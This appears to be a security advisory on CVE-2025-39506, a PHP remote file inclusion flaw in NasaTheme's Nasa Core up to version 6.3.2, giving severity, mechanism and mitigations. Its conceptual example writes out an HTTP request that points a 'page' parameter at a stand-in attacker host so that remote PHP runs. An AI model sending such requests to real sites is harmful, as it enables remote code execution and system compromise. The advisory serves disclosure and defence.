Overview
The CVE-2025-39506 vulnerability, discovered in NasaTheme’s Nasa Core, is a critical flaw that could potentially lead to system compromise or data leakage. As a PHP Remote File Inclusion vulnerability, it allows malicious actors to inject and execute their scripts remotely, which can have severe implications for both the integrity of the system and the confidentiality of the data it contains. This vulnerability primarily affects all versions of Nasa Core up to 6.3.2.
Vulnerability Summary
CVE ID: CVE-2025-39506
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
NasaTheme Nasa Core | Up to 6.3.2
How the Exploit Works
The CVE-2025-39506 vulnerability originates from the improper control of filename for include/require statement in the PHP program of NasaTheme’s Nasa Core. This flaw allows an attacker to include files from external servers and have them executed in the context of the web application. This opens up the potential for malicious actors to execute arbitrary PHP code remotely, leading to a full system compromise if the attacker’s scripts are run with high privileges.
Conceptual Example Code
Here’s a conceptual example of how this vulnerability might be exploited:
GET /index.php?page=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable-site.comIn the above request, the attacker manipulates the ‘page’ parameter to include a PHP file from their server (`attacker.com`). The `malicious_script.txt` file could contain arbitrary PHP code, which is executed when the page is loaded.
Workarounds and Mitigation
While the vendor is expected to release a patch to address this vulnerability, users can temporarily mitigate the risk by implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) that can identify and block attempts to exploit this vulnerability. Regularly updating and patching systems can also help reduce the likelihood of this vulnerability being exploited.